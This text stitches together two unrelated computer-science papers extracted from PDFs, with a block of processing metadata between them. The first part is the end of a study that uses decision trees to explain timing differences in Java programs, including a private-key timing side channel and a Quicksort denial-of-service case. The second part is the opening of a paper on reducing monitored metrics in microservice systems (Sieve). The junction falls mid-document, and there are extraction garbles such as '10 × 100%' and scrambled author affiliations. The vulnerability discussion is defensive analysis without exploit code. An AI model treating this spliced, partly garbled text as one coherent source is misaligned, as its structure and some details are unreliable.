<td>Pat_{101011}</td>
<td>200</td>
<td>2000</td>
<td>0.8 92.1%</td>
<td>50</td>
</tr>
<tr>
<td>Pat_{1010101}</td>
<td>400</td>
<td>4000</td>
<td>4.2 88.6%</td>
<td>111</td>
</tr>
</tbody>
</table>
Table 1 shows that both decision tree and max-likelihood approaches have decent accuracy in small and medium sized benchmarks. On the other hand, decision tree approach stands out as highly scalable: it takes only 4.2 s for the decision-tree approach to building a classifier for the benchmark Pat_{1010101} with 400 methods and 4000 traces, while it takes 652.4 s for the max-likelihood approach to constructing the discriminants. Table 1 shows that the discriminants learned using decision tree approach are simpler than the ones learned using max-likelihood approach requiring a fewer number of tests.
5 Case Study: Understanding Traces with Decision Trees
The data on microbenchmarks suggest that the decision tree learning approach is more scalable and has comparable accuracy as the max-likelihood approach. Therefore, we consider three case studies to evaluate whether the decision tree approach produces useful artifacts for debugging program vulnerabilities.
Research Question. We consider the following question:
Does the learned discriminant pinpoint code fragments that explain differences in the overall execution times?
We consider this question to be answered positively if we can identify an explanation for timing differences (which can help debug to side channel or availability vulnerabilities) through Discriminer\(^2\).
\(^2\) [https://github.com/cuplv/Discriminer](https://github.com/cuplv/Discriminer).
Table 2. Parameters for trace set discriminant analysis, which predicts a class label based on attributes. Here, we wish to discriminate traces to predict the total execution time of the trace based on the methods called in the trace and the number of times each method is called. To consider a finite number of class labels, we fix a priori $n$ possible time ranges based on choosing the best number of clustering.
<table>
<thead>
<tr>
<th>Attributes</th>
<th>(1) the methods called in the trace (Boolean)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>(2) the number of times each method is called in a trace (integer)</td>
</tr>
<tr>
<td>Class label</td>
<td>A time range for the total execution time of the trace</td>
</tr>
<tr>
<td>Number of classes</td>
<td>6, 6, and 2 for SnapBuddy, GabFeed, and TextCrunchr</td>
</tr>
</tbody>
</table>
**Methodology.** We consider the discriminant analysis approach based on decision tree learning from Sect. 4. Table 2 summarizes the particular instantiations for the discriminant analysis that we consider here.
**Attributes: Called Methods.** For this case study, we are interested in seeing whether the key methods that explain the differences in execution time can be pinpointed. Thus, we consider attributes corresponding to the called methods in a trace. In order to collect information regarding the called methods, we instrumented Java bytecode applications using Javassist analysis framework (http://jboss-javassist.github.io/javassist/).
**Class Label: Total Execution Time Ranges.** To identify the most salient attributes, we fix a small number of possible labels, and cluster traces according to total execution time. Each cluster is defined by a corresponding time interval. The clusters and their intervals are learned using $k$-means clustering algorithm.
We consider the execution time for each trace to be a random variable and assume a normal distribution. We obtain the mean and variance through 10 repeated measurements. We apply clustering to the mean execution times of each trace to determine the class labels. Henceforth, when we speak of the execution time of a trace, we refer to the mean of the measurements for that trace.
A class label (or cluster) can be identified by the mean of all execution times belonging to that cluster. Then, considering the class labels sorted in increasing order, we define the lower boundary of a bucket for classifying new traces by averaging the maximum execution time in the previous bucket and the minimum execution time in this bucket (and analogously for the upper boundary).
**Weighted Labeling of Traces.** Given a set of time ranges (clusters), we define a weighted labeling of traces that permits a trace to be assigned to different clusters with different weights. For a given trace, the weights to clusters are determined by the probability mass that belongs to the time range of the cluster. For example, consider a sample trace whose execution-time distribution straddles the boundary of two clusters $C_0$ and $C_1$, with 22% area of the distribution intersecting with cluster $C_0$ and 78% with cluster $C_1$. In this case, we assign the trace to both clusters $C_0$ and $C_1$ with weights according to their probability mass in their respective regions. Note that this provides a smoother interpretation of the class labels rather than assigning the most likely label.
**Decision Tree Learning.** From a training set with this weighted labeling, we apply the weighted decision tree learning algorithm CART described in Sect. 4. We use DISCRIMINER both for clustering in the time domain as described above to determine the class labels and weights of each trace and for learning the classification model. We use group k-fold cross validation procedure to find accuracy.
**Objects of Study.** We consider three programs drawn from benchmarks provided by the DARPA STAC project. These medium-sized Java programs were developed to be realistic applications that may potentially have timing side-channel or availability security vulnerabilities.
SnapBuddy is a web application for social image sharing. The profile page of a user includes their picture (with a filter). The profile page is publicly accessible. GabFeed is a web application for hosting community forums. Users and servers can mutually authenticate using public-key infrastructure. TextCruncher is a text analysis program capable of performing standard text analysis including word frequency, word length, and so on. It uses sorting algorithms to perform the analysis.
In the inset table, we show the basic characteristics of these benchmarks. The benchmarks, in total, consist of 3,971 methods. From these programs, we generated 987 traces by using a component of each application’s web API (scripted via curl). In these recorded traces, we observed 225 distinct methods called. Note that some methods are called thousands to millions of times.
<table>
<thead>
<tr>
<th>Program</th>
<th>Total methods (num)</th>
<th>Total traces (num)</th>
<th>Observed methods (num)</th>
</tr>
</thead>
<tbody>
<tr>
<td>SnapBuddy</td>
<td>3071</td>
<td>439</td>
<td>160</td>
</tr>
<tr>
<td>GabFeed</td>
<td>573</td>
<td>368</td>
<td>30</td>
</tr>
<tr>
<td>TextCruncher</td>
<td>327</td>
<td>180</td>
<td>35</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>3971</strong></td>
<td><strong>987</strong></td>
<td><strong>225</strong></td>
</tr>
</tbody>
</table>
**Decision Trees Produced by DISCRIMINER.** In Fig. 3(b)–(d)–(f), we show the decision tree learned from the SnapBuddy, GabFeed, and TextCruncher traces, respectively. As a decision tree is interpreted by following a path from the root to a leaf where the leaf yields the class label and the conjunction of the internal nodes describes the discriminator, one can look for characteristics of discriminated trace sets by following different paths in the tree. The class labels at leaves are annotated with the bucket’s mean time. For example, in (b), the label 15.7 shows that the path to this label which calls `image.OilFilter.filterPixels` takes 15.7 s to execute. The colors in bars in the leaves represent the actual labels of the training traces that would be classified in this bucket according to the learned discriminator. Multiple colors in the bars mean that a discriminator, while not perfectly accurate on the training traces, is also able to tolerate noise. The height of the bar gives an indication of the number of training traces following this discriminator. The scatter plots in (a)–(c)–(e) show the time of each trace, with the color indicating the corresponding cluster.
**Findings for SnapBuddy.** For SnapBuddy, the traces exercise downloading the public profile pages of all users from a mock database. We have explained in
Discriminating Traces with Time
Fig. 3. Clustering in the time domain (a)-(c)-(e) to learn decision tree classification models (b)-(d)-(f). The upper row corresponds to SnapBuddy traces, the middle row corresponds GabFeed traces, while the bottom row corresponds to TextCrunchr traces. (Color figure online)
Sect. 2 how clustering (in Fig. 3(a)) helps to identify a timing side-channel, and how the decision tree (in Fig. 3b) helps in debugging the vulnerability.
**Findings for GabFeed. Inputs.** For GabFeed, the traces exercise the authentication web API by fixing the user public key and by sampling uniformly from the server private key space (3064-bit length keys). **Identifying a Timing Side-Channel with Clustering.** Considering scatter plot of GabFeed in Fig. 3c (boundaries show different clusters), we can see less definitive timing clusters. However, it shows timing differences that indicate a side channel. **Debugging Timing Side-Channels with Decision Tree Learning.** The (part of) decision tree for GabFeed in Fig. 3d is also less definitive than for SnapBuddy as we might expect given the
less well-defined execution time clusters. However, the part of the decision tree discriminants `OptimizedMultiplier.standardMultiply` for time differences. Note that the attributes on the outgoing edge labels correspond to a range for the number of times a particular method is called. The decision tree explains that the different number of calls for `OptimizedMultiplier.standardMultiply` leads to different time buckets. By going back to the source code, we observed that `standardMultiply` is called for each 1-bit in the server’s private key. The method `standardMultiply` is called from a modular exponentiation method called during authentication. What leaks is thus the number of 1s in the private key. A potential fix could be to rewrite the modular exponentiation method to pad the timing differences.
**Findings for TextCrunchr. Inputs.** For TextCrunchr, we provided four types of text inputs to analyze timing behaviors: sorted, reverse-sorted, randomly generated, and reversed-shuffled arrays of characters (reverse-shuffle is an operation that undoes a shuffle that TextCrunchr performs internally). It is the reverse shuffled inputs that lead to high execution time. Although the input provided to `DISCRIMINER` for analyzing TextCrunchr include carefully crafted inputs (reversed shuffled sorted array), it can be argued that a system administrator interested in auditing a security of a server has access to a log of previous inputs including some that resulted in high execution time. **Identifying Availability Vulnerabilities with Clustering.** Considering scatter plot of TextCrunchr in Fig. 3e we can see well-defined timing clusters which can potentially lead to security issues. It shows that a small fraction of inputs takes comparably higher time of execution in comparison to the others. Thus an attacker can execute a denial-of-service (availability) attack by repeatedly providing the costly inputs (for some inputs, it will take more than 600s to process the text). The system administrator mentioned above probably knew from his logs about possible inputs with high execution time. What he did not know is why these inputs lead to high execution time. **Debugging Availability Vulnerabilities with Decision Tree Learning.** The decision tree for TextCrunchr in Fig. 3f shows that the number of calls on `stac.sort.qsPartition` as the explanation for time differences (out of 327 existing methods in the application). This can help identify the sorting algorithm (Quicksort) used as a source of the problem and leads to the realization that certain inputs trigger the worst-case execution time of Quicksort.
**Threats to Validity.** These case studies provide evidence that decision tree learning helps in identifying code fragments that correlate with differential execution time. Clearly, the most significant threat to validity is whether these programs are representative of other applications. To mitigate, we considered programs not created by us nor known to us prior to this study. These applications were designed to faithfully represent real-world Java programs—for example, using Java software engineering patterns and best practices. Another threat concerns the representativeness of the training sets. To mitigate this threat, we created sample traces directly using the web interface for the whole application, rather than interposing at any intermediate layer. This interface is for any user of these web applications and specifically the interface available to a
potential attacker. A training set focuses on exercising a particular feature of the application, which also corresponds to the ability of an attacker to build training sets specific to different features of the application.
6 Related Work
Machine learning techniques have been used for specification mining, that is, for learning succinct representations of the set of all program traces. Furthermore, machine learning techniques have been applied to learn classifiers of programs for malware detection and for software bug detection.
**Specification Mining.** In [3], machine learning techniques are used to synthesize an NFA (nondeterministic finite automaton) that represents all the correct traces of a program. In our setting, this would correspond to learning a discriminant for one cluster (of correct traces). In contrast, our decision trees discriminate multiple clusters. However, the discriminants we considered in this paper are less expressive than NFAs. The survey [21] provides an overview of other specification mining approaches.
**Malware and Bug Detection.** In malware detection, machine learning techniques are used to learn classifiers that classify programs into benign and malicious [1,4,6,9,12,16,20]. In software bug detection, the task is to learn classifiers that classify programs behaviors into faulty and non-faulty [8,13,17,19]. In contrast, we consider more clusters of traces. In particular, Lo et al. [13] constructs a classifier to generalize known failures of software systems and to further detect (predict) other unknown failures. First, it mines iterative patterns from program traces of known normal and failing executions. Second, it applies a feature selection method to identify highly discriminative patterns which distinguish failing traces from normal ones.
In all these works, the training set is labeled: all the programs are labeled either benign or malicious (faulty or non-faulty). In contrast, we start with an unlabeled set of traces, and construct their labels by clustering in the time domain.
7 Conclusion
**Summary.** We introduced the trace set discrimination problem as a formalization of the practical problem of finding what can be inferred from limited run time observations of the system. We have shown that the problem is NP-hard, and have proposed two scalable techniques to solve it. The first is ILP-based, and it can give formal guarantees about the discriminant that was found but infers discriminants of a limited form. The second is based on decision trees, infers general discriminants, but does not give formal guarantees. For three realistic applications, our tool produces a decision tree useful for explaining timing differences between executions.
Future Work. There are several intriguing directions for future research. First, we will investigate the extension of our framework to reactive systems, by generalizing our notion of execution time observations to sequences of timed events. Second, we will build up the network traffic monitoring ability of our tool, to make it usable by security analysts for distributed architectures.
References
Tools and Algorithms for the Construction and Analysis of Systems
Legay, A.; Margaria, T. (Eds.)
2017, XXIV, 411 p. 88 illus., Softcover
ISBN: 978-3-662-54579-9
|
{"Source-Url": "https://www.springer.com/cda/content/document/cda_downloaddocument/9783662545799-c2.pdf?SGWID=0-0-45-1604249-p180723521", "len_cl100k_base": 11032, "olmocr-version": "0.1.50", "pdf-total-pages": 18, "total-fallback-pages": 0, "total-input-tokens": 48188, "total-output-tokens": 13578, "length": "2e13", "weborganizer": {"__label__adult": 0.0003895759582519531, "__label__art_design": 0.0003743171691894531, "__label__crime_law": 0.0010128021240234375, "__label__education_jobs": 0.0010986328125, "__label__entertainment": 0.0001043081283569336, "__label__fashion_beauty": 0.00017464160919189453, "__label__finance_business": 0.0002892017364501953, "__label__food_dining": 0.00032138824462890625, "__label__games": 0.001071929931640625, "__label__hardware": 0.0013952255249023438, "__label__health": 0.0005364418029785156, "__label__history": 0.00031685829162597656, "__label__home_hobbies": 0.00013756752014160156, "__label__industrial": 0.0004825592041015625, "__label__literature": 0.00035071372985839844, "__label__politics": 0.0003337860107421875, "__label__religion": 0.000415802001953125, "__label__science_tech": 0.08984375, "__label__social_life": 0.0001081228256225586, "__label__software": 0.0172882080078125, "__label__software_dev": 0.8828125, "__label__sports_fitness": 0.0002827644348144531, "__label__transportation": 0.00042176246643066406, "__label__travel": 0.00018715858459472656}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 49420, 0.05205]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 49420, 0.51032]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 49420, 0.86187]], "google_gemma-3-12b-it_contains_pii": [[0, 2836, false], [2836, 6197, null], [6197, 9224, null], [9224, 11369, null], [11369, 14544, null], [14544, 18096, null], [18096, 21602, null], [21602, 25041, null], [25041, 28402, null], [28402, 31015, null], [31015, 34417, null], [34417, 37810, null], [37810, 38923, null], [38923, 42436, null], [42436, 45170, null], [45170, 48347, null], [48347, 49065, null], [49065, 49420, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2836, true], [2836, 6197, null], [6197, 9224, null], [9224, 11369, null], [11369, 14544, null], [14544, 18096, null], [18096, 21602, null], [21602, 25041, null], [25041, 28402, null], [28402, 31015, null], [31015, 34417, null], [34417, 37810, null], [37810, 38923, null], [38923, 42436, null], [42436, 45170, null], [45170, 48347, null], [48347, 49065, null], [49065, 49420, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 49420, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 49420, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 49420, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 49420, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 49420, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 49420, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 49420, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 49420, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 49420, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 49420, null]], "pdf_page_numbers": [[0, 2836, 1], [2836, 6197, 2], [6197, 9224, 3], [9224, 11369, 4], [11369, 14544, 5], [14544, 18096, 6], [18096, 21602, 7], [21602, 25041, 8], [25041, 28402, 9], [28402, 31015, 10], [31015, 34417, 11], [34417, 37810, 12], [37810, 38923, 13], [38923, 42436, 14], [42436, 45170, 15], [45170, 48347, 16], [48347, 49065, 17], [49065, 49420, 18]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 49420, 0.12849]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
1c97be831de0460a086098121f541c3a4487c4a2
|
Sieve: Actionable Insights from Monitored Metrics in Distributed Systems
Citation for published version:
Digital Object Identifier (DOI):
10.1145/3135974.3135977
Link:
Link to publication record in Edinburgh Research Explorer
Document Version:
Peer reviewed version
Published In:
ACM/IFIP/USENIX Middleware 2017
General rights
Copyright for the publications made accessible via the Edinburgh Research Explorer is retained by the author(s) and / or other copyright owners and it is a condition of accessing these publications that users recognise and abide by the legal requirements associated with these rights.
Take down policy
The University of Edinburgh has made every reasonable effort to ensure that Edinburgh Research Explorer content complies with UK legislation. If you believe that the public display of this file breaches copyright please contact openaccess@ed.ac.uk providing details, and we will remove access to the work immediately and investigate your claim.
Sieve: Actionable Insights from Monitored Metrics in Distributed Systems
Jörg Thalheim*, Antonio Rodrigues+, Istemi Ekin Akkus3, Pramod Bhatotia1, Ruichuan Chen2, Bimal Viswanath4, Lei Jiao5*, Christof Fetzer6
1University of Edinburgh, 2Carnegie Mellon Univ., 3NOKIA Bell Labs, 4University of Chicago, 5University of Oregon, 6TU Dresden
Abstract
Major cloud computing operators provide powerful monitoring tools to understand the current (and prior) state of the distributed systems deployed in their infrastructure. While such tools provide a detailed monitoring mechanism at scale, they also pose a significant challenge for the application developers/operators to transform the huge space of monitored metrics into useful insights. These insights are essential to build effective management tools for improving the efficiency, resiliency, and dependability of distributed systems.
This paper reports on our experience with building and deploying Sieve—a platform to derive actionable insights from monitored metrics in distributed systems. Sieve builds on two core components: a metrics reduction framework, and a metrics dependency extractor. More specifically, Sieve first reduces the dimensionality of metrics by automatically filtering out unimportant metrics by observing their signal over time. Afterwards, Sieve infers metrics dependencies between distributed components of the system using a predictive-causality model by testing for Granger Causality.
We implemented Sieve as a generic platform and deployed it for two microservices-based distributed systems: OpenStack and ShareLatex. Our experience shows that (1) Sieve can reduce the number of metrics by at least an order of magnitude (10 − 100x), while preserving the statistical equivalence to the total number of monitored metrics; (2) Sieve can dramatically improve existing monitoring infrastructures by reducing the associated overheads over the entire system stack (CPU—80%, storage—90%, and network—50%); (3) Lastly, Sieve can be effective to support a wide-range of workflows in distributed systems—we showcase two such workflows: Orchestration of autoscaling, and Root Cause Analysis (RCA).
Keywords Microservices, Time series analysis
*Authors did part of the work at NOKIA Bell Labs.
1 Introduction
Most distributed systems are constantly monitored to understand their current (and prior) state. The main purpose of monitoring is to gain actionable insights that would enable a developer/operator to take appropriate actions to better manage the deployed system. Such insights are commonly used to manage the health and resource requirements as well as to investigate and recover from failures (root cause identification). For these reasons, monitoring is a crucial part of any distributed system deployment.
All major cloud computing operators provide a monitoring infrastructure for application developers (e.g., Amazon CloudWatch [2], Azure Monitor [12], Google StackDriver [5]). These platforms provide infrastructure to monitor a large number (hundreds or thousands) of various application-specific and system-level metrics associated with a cloud application. Although such systems feature scalable measurement and storage frameworks to conduct monitoring at scale, they leave the task of transforming the monitored metrics into usable knowledge to the developers. Unfortunately, this transformation becomes difficult with the increasing size and complexity of the application.
In this paper, we share our experience on: How can we derive actionable insights from the monitored metrics in distributed systems? In particular, given a large number of monitored metrics across different components (or processes) in a distributed system, we want to design a platform that can derive actionable insights from the monitored metrics. This platform could be used to support a wide-range of use cases to improve the efficiency, resiliency, and reliability of distributed systems.
In this work, we focus on microservices-based distributed systems because they have become the de-facto way to design and deploy modern day large-scale web applications [48]. The microservice architecture is an ideal candidate for our study for two reasons: First, microservices-based applications have a large number of distributed components (hundreds to thousands [45, 56]) with complex communication patterns, each component usually exporting several metrics for the purposes of debugging, performance diagnosis, and application management. Second, microservices-based applications are developed at a rapid pace: new features are being continuously integrated and deployed. Every new update may fix some existing issues, introduce new features, but can also introduce a new bug. With this rapid update schedule, keeping track of the changes in the application as a whole with effects propagating to other components becomes critical for reliability, efficiency, and management purposes.
The state-of-the-art management infrastructures either rely on ad-hoc techniques or custom application-specific tools. For instance, prior work in this space has mostly focused on analyzing message-level traces (instead of monitored metrics) to generate a causal model of the application to debug performance issues [30, 42]. Alternatively, developers usually create and use custom tools to address the complexity of understanding the application as a whole. For example, Netflix developed several application-specific tools for such purposes [8, 45] by instrumenting the entire application. These approaches require either complicated instrumentation or sophisticated techniques to infer happens-before relationships (for the causal model) by analyzing message trace timestamps, making them inapplicable for broader use.
This paper presents our experience with designing and building Sieve, a system that can utilize an existing monitoring infrastructure (i.e., without changing the monitored information) to infer actionable insights for application management. Sieve takes a data-driven approach to enable better management of microservices-based applications. At its core, Sieve is composed of two key modules: (1) a metric reduction engine that reduces the dimensionality of the metric space by filtering out metrics that carry redundant information, (2) a metric dependency extractor that builds a causal
model of the application by inferring causal relationships between metrics associated with different components.
Module (1) enables Sieve to identify "relevant" metrics for a given application management task. For instance, it might be sufficient to monitor only a few metrics associated with error states of the application instead of the entire set when monitoring the health of the application. It is important to also note that reducing the metric space has implications for deployment costs: frameworks like Amazon CloudWatch use a per-metric charging model, and not identifying relevant metrics can significantly drive up the cost related to monitoring the application.
Module (2) is crucial for inferring actionable insights because it is able to automatically infer complex application dependencies. In a rapidly updating application, the ability to support such complex dependencies and how they may change is important for keeping one’s understanding of the application as a whole up-to-date. Such up-to-date information can be helpful for developers to quickly react to any problem that may arise during deployment.
We implemented Sieve as a generic platform, and deployed it with two microservices-based distributed systems: ShareLaTeX [22] and OpenStack [26]. Our experience shows that (1) Sieve can reduce the number of monitored metrics by an order of magnitude (10 × 100%), while preserving the statistical equivalence to the total number of monitored metrics. In this way, the developers/operators can focus on the important metrics that actually matter. (2) Sieve can dramatically improve the efficiency of existing metrics monitoring infrastructures by reducing the associated overheads over the entire system stack (CPU—80%, storage—90%, and network—50%). This is especially important for systems deployed in a cloud infrastructure, where the monitoring infrastructures (e.g., AWS CloudWatch) charge customers for monitoring resources. And finally, (3) Sieve can be employed for supporting a wide-range of workflows. We showcase two such case-studies: In the first case study, we use ShareLaTeX [22] and show how Sieve can help developers orchestrate autoscaling of microservices-based applications. In the second case study, we use OpenStack [26] and show how developers can take advantage of Sieve’s ability to infer complex dependencies across various components in microservices for Root Cause Analysis (RCA). Sieve’s source code with the full experimentation setup is publicly available: https://sieve-microservices.github.io/.
## 2 Overview
In this section, we first present some background on microservices-based applications and our motivation to focus on them. Afterwards, we present our goals, and design overview.
### 2.1 Background and Motivation
Microservices-based applications consist of loosely-coupled distributed components (or processes) that communicate via well-defined interfaces. Designing and building applications in this way increases modularity, so that developers can work on different components and maintain them independently. These advantages make the microservices architecture the de facto design choice for large-scale web applications [48].
While increasing modularity, such an approach to developing software can also increase the application complexity: As the number of components increases, the interconnections between components also increases. Furthermore, each component usually exports several metrics for the purposes of debugging, performance diagnosis, and application management. Therefore, understanding the dependencies between the components and utilizing these dependencies with the exported metrics becomes a challenging task. As a result, understanding how the application performs as a whole becomes increasingly difficult.
Typical microservices-based applications are composed of hundreds of components [45, 56]. Table 1 shows real-world microservices-based applications that have tens of thousands of metrics and hundreds of components. We experimented with two such applications, ShareLaTeX [22] and OpenStack [18], each having several thousands of metrics and order of tens of components. The metrics in these applications come from all layers of the application like hardware counters, resource usage, business metrics or application-specific metrics.
To address this data overload issue, developers of microservices-based applications usually create ad hoc tools. For example, application programmers at Netflix developed several application-specific tools for such purposes [8, 45]. These tools, however, require the application under investigation to be instrumented, so that the communication pattern between components can be established by following requests coming into the application. This kind of instrumentation requires coordination among developers of different components, which can be a limiting factor for modularity.
Major cloud computing operators also provide monitoring tools for recording all metric data from all components. For example, Amazon CloudWatch [2], Azure Monitor [12], and Google StackDriver [5]. These monitoring tools aid in visualizing and processing metric data in real-time (i.e., for performance observation) or after an issue with the application (i.e., for debugging). These tools, however, either use a few system metrics that are hand-picked by developers based on experience, or simply record all metric data for all the components.
Relying on past experience may not always be effective due to the increasing complexity of a microservices-based application. On the other hand, recording all metric data can create significant monitoring overhead in the network and storage, or in the case of running the application in a cloud infrastructure (e.g., AWS), it can incur costs due to the provider charging the customers (e.g., CloudWatch). For these reasons, it is important to understand the dependencies between the components of a microservice-based application. Ideally, this process should not be intrusive to the application. Finally, it should help the developers to identify and minimize the critical components and metrics to monitor.
### 2.2 Design Goals
While designing Sieve, we set the following goals.
- **Generic:** Many tools for distributed systems have specific goals, including performance debugging, root cause analysis and orchestration. Most of the time, these tools are custom-built for the application in consideration and target a certain
goal. Our goal is to design a generic platform that can be used for a wide-range of workflows.
- **Automatic**: The sheer number of metrics prohibits manual inspection. On the other hand, designing a generic system to help developers in many use cases might require manually adjusting some parameters for each use case. Our tool should be as automated as possible while reducing the number of metrics and extracting their relationships. However, we leave the utilization of our platform’s output to the developers, who may have different goals.
- **Efficient**: Our platform’s operation should be as efficient as possible. Minimizing analysis time becomes important when considering distributed systems, such as microservices-based applications.
### 2.3 **Sieve Overview**
The underlying intuition behind Sieve is two-fold: Firstly, in the metric dimension, some metrics of a component may behave with similar patterns as other metrics of that component. Secondly, in the component dimension, there are dependencies between components. As a result, monitoring all metrics of all components at runtime may be unnecessary and inefficient (as components are not independent).
In this paper, we present Sieve to reduce this complexity by systematically analyzing the application to filter collected metrics and to build a dependency graph across components. To showcase the generality of this dependency graph and its benefits, we then utilize Sieve to orchestrate autoscaling of the ShareLatex [22] application—an online collaboration tool, and to perform Root Cause Analysis (RCA) in OpenStack [26]—a cloud management software (§4).
At a high level, Sieve’s design follows three steps as shown in Figure 1.
**Step #1: Load the application.** Sieve uses an application-specific load generator to stress the application under investigation. This load generator can be provided by the application developers. For example, OpenStack already uses a load generator named Rally [20]. During the load, Sieve records the communications among components to obtain a **call graph**. This recording does not require any modifications to the application code. In addition, Sieve records all exposed **metrics** by all components. Note that this recording only happens during the creation of the call graph and not during runtime.
**Step #2: Reduce metrics.** After collecting the metrics, Sieve analyzes each component and organizes its metrics into fewer groups via clustering, so that similar-behaving metrics are clustered together. After clustering, Sieve picks a representative metric from each cluster. These representative metrics as well as their clusters in a sense characterize each component.
**Step #3: Identify dependencies.** In this step, Sieve explores the possibilities of one component’s representative metrics affecting another component’s metrics using a pairwise comparison method: each representative metric of one component is compared with each representative metric of another component. Sieve uses the call graph obtained in Step 1 to choose the components to be compared (i.e., components directly communicating) and the representative metrics determined in Step 2. As a result, the search space is significantly reduced compared to the naïve approach of comparing all components with every other component using all metrics.
If Sieve determines that there is a relationship between a metric of one component and another metric of another component, a dependency edge between these components is created using the corresponding metrics. The direction of the edge depends on which component is affecting the other.
### 3 **Design**
In this section, we detail the three steps of Sieve.
#### 3.1 Load the Application
For our systematic analysis, we first run the application under various load conditions. This loading serves two purposes: First, the load exposes a number of metrics from the application as well as the infrastructure it runs on. These metrics are then used to identify potential relationships across components. Second, the load also enables us to obtain a call graph, so that we can identify the components that communicate with each other. The call graph is later used to reduce the amount of computation required to identify the inter-component relationships (§3.3). The load test is intended to be run in an offline step and not in production.
**Obtaining metrics.** During the load of the application, we record metrics as time series. There are two types of metrics that we can leverage for our analysis: First, there are system metrics that are obtained from the underlying operating system. These metrics report the resource usage of a microservice component, and are usually related to the hardware resources on a host. Examples include usages in CPU, memory, network and disk I/O.
Second, there are application-level metrics. Application developers often add application-specific metrics (e.g., number of active users, response time of a request in a component). Commonly-used components (e.g., databases, load balancers) and certain language runtimes (e.g., Java) may provide statistics about specific operations (e.g., query times, request counts, duration of garbage collection).
**Obtaining the call graph.** Generally speaking, applications using a microservices architecture communicate via well-defined interfaces similar to remote procedure calls. We model these communications between the components as a directed graph, where the vertices represent the microservice components and the edges point from the caller to the callee providing the service.
By knowing which components communicate directly, we can reduce the number of component pairs we need to check to see whether they have a relation (see Section 3.3). Although it is possible to manually track this information for smaller-sized applications, this process becomes quickly difficult and error-prone with increasing number of components.
There are several ways to understand which microservice components are communicating with each other. One can instrument the application, so that each request can be traced from the point it enters the application to the point where the response is returned to the user. Dapper [81] from Google and Atlas [45, 58] from Netflix rely on instrumenting their RPC middleware to trace requests.
Another method to obtain communicating components is to monitor network traffic between hosts running those components using a tool like tcpdump. After obtaining the traffic, one can map the exchanged packets to the components via their source/destination addresses. This method can produce communicating component pairs by parsing all network packets, adding significant computational overhead and increasing the analysis time. Furthermore, it is possible that many microservice components are deployed onto the same host (e.g., using containers), making the packet parsing difficult due to network address translation on the host machine.
One can also observe system calls related to network operations via APIs such as ptrace() [28]. However, this approach adds a lot of context switches between the tracer and component under observation.
Sieve employs sysdig to obtain the communicating pairs. sysdig[23] is a recent project providing a new method to observe system calls in a more efficient way. Utilizing a kernel module, sysdig provides system calls as an event stream to a user application. The event stream also contains information about the monitored processes, so that network calls can be mapped to microservice components, even if they are running in containers. Furthermore, it enables extraction of the communication peer via user-defined filters. Employing sysdig, we avoid the shortcomings of the above approaches: 1) We do not need to instrument the application, which makes our system more generally applicable, 2) We add little overhead to obtain the call graph of an application for our analysis (see Section 6.1.3).
### 3.2 Reduce Metrics
The primary goal of exporting metrics is to understand the performance of applications, orchestrating them and debugging them. While the metrics exported by the application developers or commonly-used microservice components may be useful for these purposes, it is often the case that the developers have little idea regarding which ones are going to be most useful. Developers from different backgrounds may have different opinions: a developer specializing in network communications may deem network I/O as the most important metric to consider, whereas a developer with a background on algorithms may find CPU usage more valuable. As a result of these varying opinions, often times many metrics are exported.
While it may look like there is no harm in exporting as much information as possible about the application, it can create problems. Manually investigating the obtained metrics from a large number of components becomes increasingly difficult with the increasing number of metrics and components [35]. This complexity reflects on the decisions that are needed to control and maintain the application. In addition, the overhead associated with the collection and storage of these metrics can quickly create problems. In fact, Amazon CloudWatch [2] charges its customers for the reporting of the metrics they export. As a result, the more metrics an application has to export, the bigger the cost the developers would have to bear.
One observation we make is that some metrics strongly correlate with each other and it might not be necessary to consider all of them when making decisions about the control of the application. For example, some application metrics might be strongly correlated with each other due to the redundancy in choosing which metrics to export by the developers. It is also possible that different subsystems in the same component report similar information (e.g., overall memory vs. heap usage of a process). In addition, some system metrics may offer clues regarding the application’s state: increased network I/O may indicate an increase in the number of requests.
The direct outcome of this observation is that it should be possible to reduce the dimensionality of the metrics the developers have to consider. As such, the procedure to enable this reduction should happen with minimal user effort and scale with increased numbers of metrics.
To achieve these requirements, Sieve uses a clustering approach named k-Shape [73] with a pre-filtering step. While other approaches such as principal component analysis (PCA) [49] and random projections [72] can also be used for dimensionality reduction, these approaches either produce results that are not easily interpreted by developers (i.e., PCA) or sacrifice accuracy to achieve performance and have stability issues producing different results across runs (i.e., random projections). On the other hand, clustering results can be visually inspected by developers, who can also use any application-level knowledge to validate their correctness. Additionally, clustering can also uncover hidden relationships which might not have been obvious.
**Filtering unvarying metrics.** Before we use k-Shape, we first filter metrics with constant trend or low variance ($\text{var} \leq 0.002$). These metrics cannot provide any new information regarding the relationships across components, because they are not changing according to the load applied to the application. Removing these metrics also enables us to improve the clustering results.
**k-Shape clustering.** k-Shape is a recent clustering algorithm that scales linearly with the number of metrics. It uses a novel distance metric called shape-based distance (SBD). SBD is based on a normalized form of cross correlation (NCC) [73]. Cross correlation is calculated using Fast Fourier Transformation and normalized using the geometric mean of the autocorrelation of each individual metric’s time series.
$$SBD(\vec{x}, \vec{y}) = 1 - \max_{w} (\text{NCC}_w(\vec{x}, \vec{y}))$$
(1)
